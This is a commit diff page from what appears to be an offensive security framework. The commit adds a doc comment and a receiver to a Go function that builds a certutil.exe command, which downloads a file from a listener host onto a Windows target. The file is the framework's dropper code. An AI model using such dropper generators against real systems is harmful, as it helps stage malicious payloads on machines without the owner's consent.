Skip to content

Commit 529c277

Browse files
added godoc and receiver
1 parent 19d3db5 commit 529c277

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

payload/dropper/windows.go

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,9 @@ func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl boo
1919
}
2020

2121
// Much like CurlHTTPDownloadOnly, this function will generate the certutil.exe command to download a file and save it to the provided location.
22-
func CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string {
22+
//
23+
// downloadCmd := dropper.Windows.CertutilHTTPDownloadOnly(httpFileServer.HTTPAddr, httpFileServer.HTTPPort, httpFileServer.TLS, httpFileServer.GetRandomName(""), destFilePath)
24+
func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string {
2325
uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
2426
if ssl {
2527
uri = strings.Replace(uri, "http://", "https://", 1)

0 commit comments

Comments
 (0)